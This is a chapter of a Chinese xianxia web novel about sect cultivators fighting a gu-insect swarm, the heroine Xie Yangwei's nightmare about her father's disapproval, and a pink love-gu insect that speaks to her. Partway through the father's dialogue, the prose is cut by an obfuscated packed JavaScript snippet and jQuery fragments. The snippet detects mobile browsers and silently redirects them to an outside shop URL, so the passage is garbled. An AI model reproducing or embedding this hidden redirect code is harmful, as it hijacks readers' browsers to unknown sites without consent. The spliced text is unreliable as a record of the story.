夜色渐薄,层层叠叠的紫意在天幕之上晕染开来,又归还了大地上遍地尸骸应有的色彩。
数不清的蛊虫倒在了通往自由的黎明之前,体内五颜六色的脓液汇成一条源源不断的灰溪,如蛛网般流向四面八方。剑宗修士的尸体四仰八叉地躺在这溪河之中,腐烂的肉块上闪烁着诡异的微光,却终究无法与明亮了一宿的阵法争辉。
纷繁的剑影此起彼伏,一刻也不曾消止,而冰蓝色的剑光是其中最为明亮迅疾的一抹色彩。
持剑人的手上有些许蛰伤的痕迹,红色的脓包突兀地生长着,然而他的手却依然很稳,每一招每一式都完美得能被写进教科书中,一斩便能斩掉一排蛊虫,他不等招式用老,直接取新招斩出,不像受伤之人,也不见丝毫疲惫之意。
然而其人面色却是一片惨白,与凌厉剑势大相径庭的脆弱眼泪自眼眶而出,蜿蜒出两道起伏的水痕,却未曾遇到任何阻挡——那些银针早已在这一整夜的战斗中掉落了。
“我瞧着蛊虫似乎没有一个时辰前多了。”梦江落的视线始终凝望着不远处的陆归纮。他也已经站了一整夜未曾停息,白睫下藏青色的瞳眸中盈满了疲惫之色,“可能很快就能结束了。兄长以为如何呢?”
主持大阵需要耗费太多的心力,然而梦江潮面色丝毫未变,不见任何倦怠的模样。“也许。”他这样回复着,并未说得肯定,同样一双藏青色的瞳眸直直地追随着陆归纮的方向。
剑宗本次行动的另一位主事人白思简也在前方的战场之中。他没有拿剑,或者说他的剑已经借给了陆归纮使用,此时正套着他那些不菲的防御灵器穿梭于战场前后,去紧急救治那些被蛊虫咬伤的弟子们。
此时虫潮虽渐渐减退,然而还在场战斗的弟子也已经只剩下了不到十名,白思简时刻紧盯着战场状况,终于在那纷乱交织又迅疾凌厉的冰蓝剑气之中看见了陆归纮手上的蛰伤。
而他的成玉剑剑身上隐隐有了道裂痕,冰色的灵力丝丝缕缕地从那裂痕处溢出来——他这把剑不过玄品,似乎有些承受不住陆归纮有些不稳的灵力了。
“小陆!”白思简心中一沉,向那边喊了一声,“你怎么样?!”
然而陆归纮挥剑的动作不停,捕捉到说话的声响后迅速转过身来,竟用白思简的剑向他挥出一招!
他竟然敌我不分,像是完全丧失了理智而只知杀戮似的,白思简猝不及防之下,直接被那避无可避的冰色灵力击溃了第一层防御灵器。
在咔嚓的破碎声中,陆归纮通红着眼眶,闪身追来又挥出一剑,白思简顾不上瞠目结舌向后躲去,却又见到铺天盖地、密如蛛网的剑招向他砸下,避无可避之际——
梦江潮眸中掠过明青华光,地面上大阵倏忽一亮,陆归纮不自觉地下坠,他的攻击终于有了漏洞。
在又一道咔嚓的破碎声中,白思简瞄准空隙逃了出去,马上敛住自己的气息。
陆归纮收了剑站在原地,泪仍在落,神色却空茫。
少顷,他再次攥紧了剑,又转身向前方的蛊虫潮继续杀去了。
“白公子,你还好吗?”梦江落松了口气,看向站在不远处,还有些没回过神来的白思简。
就算他还好。白思简想,看到陆归纮这样,也不好了。
“多谢二位。”他拱手一礼,又叹着气,望向仍在前方杀虫的陆归纮,“不过虫潮未退还好,待虫潮退尽,就难办了。”
在场众人,即使把吊儿郎当的燕楚临也加上,恐怕都没有一个能打得过陆归纮的——梦家这兄弟俩白思简虽然没有接触过,但他们手上连个茧子都没有,看不出什么刻苦修炼体术的痕迹。
虽然刚才短暂地用阵法阻挡了一下陆归纮的行动,但怎么说呢……还是令人放不下心来。
“别担心。”像是明白白思简在想什么,梦江落唇角弯了弯,“白公子不必再犯险,我和兄长有办法的。”
白思简叹了口气:“那便有劳二位了。”
其实陆归纮的精神与情绪问题在他看来并不是最要紧的,要紧的是他瞧见陆归纮手上蛊虫的伤口。粗看一眼只能判断出那是个毒蛊……万一它对陆归纮的身体造成不可逆的伤害呢?
可是如今这种情况,能打的战力只有陆归纮一人,幸而现下虫潮似乎有消退的迹象,也只能寄望于这一切赶紧结束了。
白思简在此处心事重重着,少顷他瞧见前方又有一位剑宗弟子的攻势一顿、人也有些摇晃,便隐匿了声息再次冲向了前方。
梦江潮兄弟俩仍然全神贯注地护持着这能够延缓蛊虫行动的庞大法阵,天色虽渐亮却到底还未透彻,因此无论是谁都没有瞧见,在黑压压的蛊虫之中,有一只身形小巧、体态轻盈的粉色蛊虫,脱离了蛊虫的大部队,它艰难地向后退去离开了大阵的范围,绕了远路、向着营地的方向而去。
剑宗主帐之中,最后的明蛟烛早已被谢仰微吹熄了。她沉入杂乱昏沉的大梦中,谢俯正微笑着向她招手,身形却明明灭灭。
莫名的烦躁再一次缠上了谢仰微。她想留住谢俯、想用力地抓住他,然而手却穿过他的臂膀,抓了个空。
“我付出这么多,爹爹。”她听见她自己的声音,带着烦躁,带着某些与宗笑菏相类的偏执,“可我没办法把你的遗躯从魔尊那里抢过来,也没办法阻挡你融到谢归的心口里——可我也想留住你啊,哪怕只是一缕幻影。”
谢俯却只是一言不发地微笑着,桃花眼中蕴了一层温柔的水泽。
“所以我想留住谢归,不论是幻境还是现实,他总归和你有关联——是你怜惜我,让这样一个人代替你陪我走一段,是吗?”她自顾自地说了下去,“所以你同意了、你同意我对他下情蛊。”
“我知道你当年的悲剧,我不会求他像你一般疯狂地爱上魔尊,我只求他无论什么时候都要护着我、照顾我、视我如血亲——爹爹,我一点都不贪心,你得同意,你不能不同意。”
谢俯定定地看着她,忽地开了口——
“倘若我不同意,你又要如何呢。阿微?”
谢仰微一愣。
“我怎么教你的。”谢俯皱着眉头开口,身形飘忽着向后退去,离她越来越远,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912518|213180||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这世上再不会有比下情蛊更肮脏的手段,这非是正派所为。如今你真是越来越像宗笑菏——”
“不是的,我不会像她,就算是死也不会!爹爹你听我说——”
谢仰微心烦意乱又惶恐至极。她提步向谢俯追去,然而无论她如何努力,却始终追不上身如鬼魂,飘游不定的谢俯。
“你太让我失望了,宗娩。”谢俯的语气中带着如他自刎那夜对宗笑菏讲话时的惊人恨意,身形渐渐没入到前方无边的黑暗中,“是了,我本也不该对你有什么期望,魔尊的血脉,能是什么好东西?不过你我父女一场勉强算是缘分,这以后你且自去,我只愿在阴曹地府,永不与你母女二人相见。”
他字字句句都扎在谢仰微本就重伤未愈又烦闷急躁的心口上,她几乎是一瞬间就落下泪来,向前跑时,却又一脚踏空跌落下去——
谢仰微猛地从床上坐起来睁开了眼。
她抬手捂着闷痛的胸口,渐渐平复着那些混乱的心绪,却忽地感觉到,有什么像是虫子一样的东西,重重地在她右手的食指上咬了一口。
入睡前的黑暗被朦胧的晨光取代,她低头向食指方向看去,却看见了一只她从未见过又辨不清楚种类的粉色小虫。
它趴在她的食指上,旁边是伤口冒出来的小血珠。此时它稍稍变换了姿态,离血珠远了些,又扬起了它的触角,向着她看过来的方向,似乎在和她对视。
粉色的外壳即使在此刻昏昧的光下看都显得流光溢彩,透着某种温柔又梦幻的色泽,谢仰微愣了愣,想到她现在在荣窟,而外面又有虫潮,便恍然大悟地猜测这虫子或许是蛊虫。
可是这蛊虫是怎么跑进来的?又为什么只有它一个进来,还精准地来到了她这里?
谢仰微心中冒出一连串问题,然而四下无人,她总不能指望蛊虫自己说话——
【尊女。】
一道不能用文字表达也根本不是这世上通行的任何一种语言的声音在谢仰微的心中响起,她尚且不知自己究竟是怎么诡异地听懂、还能将之转化为她掌握的语言时,那声音就又在她心里响了起来:
【尊主违约多年不归,我族难承尊位,以至族群不保。】
【尊女需受寄生,待十年竞逐夜,助我族再承尊位。】
这些话究竟是什么意思先不论,谢仰微看着眼前的粉色蛊虫,心底忍不住飘过一个念头——这是眼前的虫子在跟我说话吗?!
【是我。】粉色蛊虫的触角晃了晃,肯定了谢仰微的想法。
谢仰微看着那一根手指戳下去估计就能死掉的蛊虫无言片刻,忽地在心里问:
【你是蛊虫?又是那一族的蛊虫?】
【还有,你说我是尊女,那请问你们的尊主是谁?】
万泠宫那边称呼她们这些魔尊之女为尊女,谢仰微极度厌烦这个称呼,刚才听到这一声,还以为魔族的人因为她的失踪追过来了。
【按人族的称呼,我们这一代的尊主名为谢俯。】却不料那虫子给出了完全出乎谢仰微意料的答案。
【我族是情蛊一族。】